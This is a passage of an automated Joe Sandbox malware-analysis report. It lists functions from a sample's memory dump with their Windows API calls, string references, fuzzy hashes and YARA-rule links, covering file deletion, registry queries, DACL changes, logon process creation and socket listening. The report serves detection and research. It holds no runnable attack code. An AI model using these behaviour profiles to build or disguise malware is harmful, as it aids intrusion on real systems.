SetCurrentDirectoryW.KERNEL32 ref: 00007FF697BCA611
SetCurrentDirectoryW.KERNEL32 ref: 00007FF697BCA638
FindNextFileW.KERNEL32 ref: 00007FF697BCA646
FindClose.KERNEL32 ref: 00007FF697BCA655

Part of subcall function 00007FF697BBC67C: CreateFileW.KERNEL32 ref: 00007FF697BBC6B1

Strings

*.*, xrefs: 00007FF697BCA5C5

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction ID: 788ccd25aef202d018780e8fd245ad307188c5a33d01574cfbc4f1bd3ac8e6e5
Opcode Fuzzy Hash: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction Fuzzy Hash: 1B418035A0864294EE20AF19A8456756390FF46BE5F9481B1DD6EC769CDF3CD40AC700

Function 00007FF697BE055C Relevance: 16.9, APIs: 11, Instructions: 371registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BE1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF697BDFD7B), ref: 00007FF697BE1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF697BE0662
RegOpenKeyExW.ADVAPI32 ref: 00007FF697BE06CD
RegCloseKey.ADVAPI32 ref: 00007FF697BE06F4
RegQueryValueExW.ADVAPI32 ref: 00007FF697BE0746
RegQueryValueExW.ADVAPI32 ref: 00007FF697BE07FD
RegQueryValueExW.ADVAPI32 ref: 00007FF697BE0860
RegQueryValueExW.ADVAPI32 ref: 00007FF697BE0907
RegQueryValueExW.ADVAPI32 ref: 00007FF697BE0961
RegQueryValueExW.ADVAPI32 ref: 00007FF697BE0A12
RegCloseKey.ADVAPI32 ref: 00007FF697BE0A9E
RegCloseKey.ADVAPI32 ref: 00007FF697BE0AAD

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: QueryValue$Close$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3218304859-0
Opcode ID: bfd33b311cee2062ccf4f7c99d60df25cce3d62e1d08c3ae9d56584007b3da53
Instruction ID: 9484ecba1905f220974c9f77b968c87ec7ce420a6d563ffa51bd38871a8d9f12
Opcode Fuzzy Hash: bfd33b311cee2062ccf4f7c99d60df25cce3d62e1d08c3ae9d56584007b3da53
Instruction Fuzzy Hash: 88F17F36B05A468AEB20DF65D0906BC3360FF8ABD8B5581B1DE4D87B99DF38E111C784

Function 00007FF697BC83D4 Relevance: 16.8, APIs: 11, Instructions: 255comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF697BC8452
SHGetSpecialFolderLocation.SHELL32 ref: 00007FF697BC84FC
SHGetDesktopFolder.SHELL32 ref: 00007FF697BC8516
CoCreateInstance.OLE32 ref: 00007FF697BC858F
SHCreateShellItem.SHELL32 ref: 00007FF697BC8629
CoTaskMemFree.OLE32 ref: 00007FF697BC8699
SHBrowseForFolderW.SHELL32 ref: 00007FF697BC872A
SHGetPathFromIDListW.SHELL32 ref: 00007FF697BC874B
CoTaskMemFree.OLE32 ref: 00007FF697BC8754
CoTaskMemFree.OLE32 ref: 00007FF697BC8799
CoUninitialize.OLE32 ref: 00007FF697BC879F

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 28da4375d56d9c7790266f2ac16f9c30a3cff06f711ae95f6c1a6b970e5d2d74
Instruction ID: 01527163ef5e2d9f7531e0f7f0d4f58cc11d8a25c49f100a666976d86c70b0cd
Opcode Fuzzy Hash: 28da4375d56d9c7790266f2ac16f9c30a3cff06f711ae95f6c1a6b970e5d2d74
Instruction Fuzzy Hash: 9DC12836A04B8585EB20EF6AE8842AD77A0FB89FD4F058076DE4E87769DF38D545C700

Function 00007FF697BAC858 Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BACD34: GetUserObjectSecurity.USER32 ref: 00007FF697BACD65
Part of subcall function 00007FF697BACD34: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF697BAC65A), ref: 00007FF697BACD71
Part of subcall function 00007FF697BACD34: GetUserObjectSecurity.USER32 ref: 00007FF697BACD9C

Part of subcall function 00007FF697BACE28: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF697BAC66F), ref: 00007FF697BACE4D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF697BAC8E7
GetAclInformation.ADVAPI32 ref: 00007FF697BAC921
GetLengthSid.ADVAPI32 ref: 00007FF697BAC932
GetAce.ADVAPI32 ref: 00007FF697BAC970
AddAce.ADVAPI32 ref: 00007FF697BAC997
GetLengthSid.ADVAPI32 ref: 00007FF697BAC9AF
GetLengthSid.ADVAPI32 ref: 00007FF697BAC9D2
CopySid.ADVAPI32 ref: 00007FF697BAC9E1
AddAce.ADVAPI32 ref: 00007FF697BACA27
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF697BACA4B
SetUserObjectSecurity.USER32 ref: 00007FF697BACA60

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction ID: c60d37410f91f114b8b99e5ff8d06ae2749708975d9ef0d292ce2d372d36d7a5
Opcode Fuzzy Hash: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction Fuzzy Hash: 6C618B36B046528AEB24EF71D8449BC37A8FB46BD8B144476DE0A93B9CEF38D945C340

Function 00007FF697BEA59C Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF697BEA650
SendMessageW.USER32 ref: 00007FF697BEA664
GetWindowLongW.USER32 ref: 00007FF697BEA697
SendMessageW.USER32 ref: 00007FF697BEA6C1
SendMessageW.USER32 ref: 00007FF697BEA752
SendMessageW.USER32 ref: 00007FF697BEA7A6
SendMessageW.USER32 ref: 00007FF697BEA7CD
SendMessageW.USER32 ref: 00007FF697BEA7F1
SendMessageW.USER32 ref: 00007FF697BEA80E
SendMessageW.USER32 ref: 00007FF697BEA832

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
Instruction ID: 78c9ca3bf1c75a756c40c4bc38f49a0e749104b73f00e9dbbea7229827c871aa
Opcode Fuzzy Hash: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
Instruction Fuzzy Hash: F4718D36605A8586E720DF65E844AFD27A0FF89BD4F4141B2DA4E87BA8CF3DD186C700

Function 00007FF697BBB7C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 171fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B456D4: GetFullPathNameW.KERNEL32(?,00007FF697B456C1,?,00007FF697B47A0C,?,?,?,00007FF697B4109E), ref: 00007FF697B456FF

Part of subcall function 00007FF697BBCED4: GetFileAttributesW.KERNEL32 ref: 00007FF697BBCED8

FindFirstFileW.KERNEL32 ref: 00007FF697BBB8AC
DeleteFileW.KERNEL32 ref: 00007FF697BBB987
MoveFileW.KERNEL32 ref: 00007FF697BBB9A7
DeleteFileW.KERNEL32 ref: 00007FF697BBB9CA
FindNextFileW.KERNEL32 ref: 00007FF697BBB9FC
FindClose.KERNEL32 ref: 00007FF697BBBA15

Part of subcall function 00007FF697BBBA80: CopyFileExW.KERNEL32 ref: 00007FF697BBBAA7

Strings

\*.*, xrefs: 00007FF697BBB849, 00007FF697BBB867

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4047182710-1173974218
Opcode ID: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
Instruction ID: f2e91f32a5463fedca02888e786a2a5acfb310ed45e89bdfb051e18cc64de592
Opcode Fuzzy Hash: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
Instruction Fuzzy Hash: CA815632A08A4295EB20EF65D4911FD6B60EF857D4F800072EE8E876AEDF7CE549D700

Function 00007FF697B82650 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF697B82673

Part of subcall function 00007FF697B81C40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B81C54

_get_daylight.LIBCMT ref: 00007FF697B82684

Part of subcall function 00007FF697B81BE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B81BF4

_get_daylight.LIBCMT ref: 00007FF697B82695

Part of subcall function 00007FF697B81C10: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B81C24

Part of subcall function 00007FF697B7B3C0: RtlFreeHeap.NTDLL ref: 00007FF697B7B3D6
Part of subcall function 00007FF697B7B3C0: GetLastError.KERNEL32 ref: 00007FF697B7B3E8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF697B828F5), ref: 00007FF697B826BC
WideCharToMultiByte.KERNEL32 ref: 00007FF697B82752
WideCharToMultiByte.KERNEL32 ref: 00007FF697B8279E

Strings

?, xrefs: 00007FF697B82791

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone
String ID: ?
API String ID: 500310315-1684325040
Opcode ID: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
Instruction ID: a905f8361ed3a386929024f3f45eada6a5c8204b6134a1251ef6d48a61c92149
Opcode Fuzzy Hash: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
Instruction Fuzzy Hash: 14616936A186428AE7709F25E8406ED77A4FF897D4F441176EA0DC6B98DF3CE8428750

Function 00007FF697BD3940 Relevance: 12.1, APIs: 8, Instructions: 116networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF697BD39DA
WSAGetLastError.WSOCK32 ref: 00007FF697BD39EC
bind.WSOCK32 ref: 00007FF697BD3A3A
WSAGetLastError.WSOCK32 ref: 00007FF697BD3A44
closesocket.WSOCK32 ref: 00007FF697BD3A70
listen.WSOCK32 ref: 00007FF697BD3A7E
WSAGetLastError.WSOCK32 ref: 00007FF697BD3A94
closesocket.WSOCK32 ref: 00007FF697BD3AC0

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction ID: 2b487640a44cde6117f04f07c5454ea0b8368c572626278a02c46f172eff9328
Opcode Fuzzy Hash: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction Fuzzy Hash: CC416FB2B0864286EB20EF26D45026C6760FF86FE4F0446B1DE5E8779ADF3CD1518704

Function 00007FF697BD8360 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00007FF697BD83EA
NULL Pointer assignment, xrefs: 00007FF697BD8831

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
Instruction ID: 2b4e1b013a6619be5dccaeaac13a97dcfa242a127fea5ee0d7442790ccc01cea
Opcode Fuzzy Hash: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
Instruction Fuzzy Hash: F2E1D276A08B829AEB20DF65E4402AD77A0FB85BD8F404176DE4D87B98DF3CE545C708

Function 00007FF697BBBC70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B456D4: GetFullPathNameW.KERNEL32(?,00007FF697B456C1,?,00007FF697B47A0C,?,?,?,00007FF697B4109E), ref: 00007FF697B456FF

Part of subcall function 00007FF697BBCED4: GetFileAttributesW.KERNEL32 ref: 00007FF697BBCED8

FindFirstFileW.KERNEL32 ref: 00007FF697BBBD09
DeleteFileW.KERNEL32 ref: 00007FF697BBBD5B
FindNextFileW.KERNEL32 ref: 00007FF697BBBD6D
FindClose.KERNEL32 ref: 00007FF697BBBD7F
FindClose.KERNEL32 ref: 00007FF697BBBD8A

Strings

\*.*, xrefs: 00007FF697BBBCD3

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
Instruction ID: c62209c26841742cd4a9ffb83d3327aa68e274ef2741dafd38cb961c6df37943
Opcode Fuzzy Hash: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
Instruction Fuzzy Hash: D5419432A28A4292EB60EF25E8902ED6360FF85BD0F901171EA5E8369DDF7CE505C740

Function 00007FF697B7AF58 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF697B7AFD1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF697B7AFE9
RtlVirtualUnwind.KERNEL32 ref: 00007FF697B7B024
IsDebuggerPresent.KERNEL32 ref: 00007FF697B7B05D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF697B7B067
UnhandledExceptionFilter.KERNEL32 ref: 00007FF697B7B072

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction ID: 89688fa8b43fee3be07e15a1f82ef76bb5d40831d365bd354b0f7b67acffc453
Opcode Fuzzy Hash: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction Fuzzy Hash: 85317136608B8186DB70DF25E8406AE73A4FB89794F500136EA9D83B9CDF3CC655CB00

Function 00007FF697BAD2C4 Relevance: 9.1, APIs: 6, Instructions: 77processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BAD2AB), ref: 00007FF697BAD31F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BAD2AB), ref: 00007FF697BAD335
CreateEnvironmentBlock.USERENV(?,?,?,?,?,?,?,?,?,?,?,00007FF697BAD2AB), ref: 00007FF697BAD34E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BAD2AB), ref: 00007FF697BAD35E
CreateProcessWithLogonW.ADVAPI32 ref: 00007FF697BAD3CA
DestroyEnvironmentBlock.USERENV ref: 00007FF697BAD3E3

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction ID: 17defe2834f02acea6a2c1669deb45fabbabee630447e4e6e476ef5f4e5f7da8
Opcode Fuzzy Hash: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction Fuzzy Hash: 76314736608B8586DB749F12E4807AAB7E4FB8AFD0F15412ADE8D83B18DF39D445CB00

Function 00007FF697BAD868 Relevance: 9.0, APIs: 6, Instructions: 22memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF697BAD877
UnloadUserProfile.USERENV ref: 00007FF697BAD885
CloseHandle.KERNEL32 ref: 00007FF697BAD88F
CloseHandle.KERNEL32 ref: 00007FF697BAD898
GetProcessHeap.KERNEL32 ref: 00007FF697BAD89E
HeapFree.KERNEL32 ref: 00007FF697BAD8AC

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction ID: c5c2177a7ae48af34fdb58616556a26f323e00f02a47849456974af64aba4e94
Opcode Fuzzy Hash: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction Fuzzy Hash: E3F0AC79A14A0183EB14EF76DC580296361EF89FE5B055271CD1EC6368CE3CD4D99300

Function 00007FF697BCA874 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118filesleepCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF697BCA8F4
FindClose.KERNEL32 ref: 00007FF697BCAA15

Part of subcall function 00007FF697BC3824: GetInputState.USER32 ref: 00007FF697BC3889
Part of subcall function 00007FF697BC3824: PeekMessageW.USER32 ref: 00007FF697BC3938

Sleep.KERNEL32 ref: 00007FF697BCA939
FindNextFileW.KERNEL32 ref: 00007FF697BCAA00

Strings

*.*, xrefs: 00007FF697BCA8B3

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState
String ID: *.*
API String ID: 1927845040-438819550
Opcode ID: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
Instruction ID: 800f7e55dbb1ecd1c0df567417a7100661d3f026453d98ea698d1f4fb8bf88a3
Opcode Fuzzy Hash: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
Instruction Fuzzy Hash: 5251AE32608B8285EB20DF69E8852AD27B0FB467D8F5441B2DE5D8379DDF38E949C700

Function 00007FF697B4BE70 Relevance: 8.6, Strings: 6, Instructions: 1141COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FF697B8F6FD
ERCP, xrefs: 00007FF697B4BF69
VUUU, xrefs: 00007FF697B4C21F
PCRE, xrefs: 00007FF697B8F4B1
VUUU, xrefs: 00007FF697B4C210
VUUU, xrefs: 00007FF697B4C25F

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
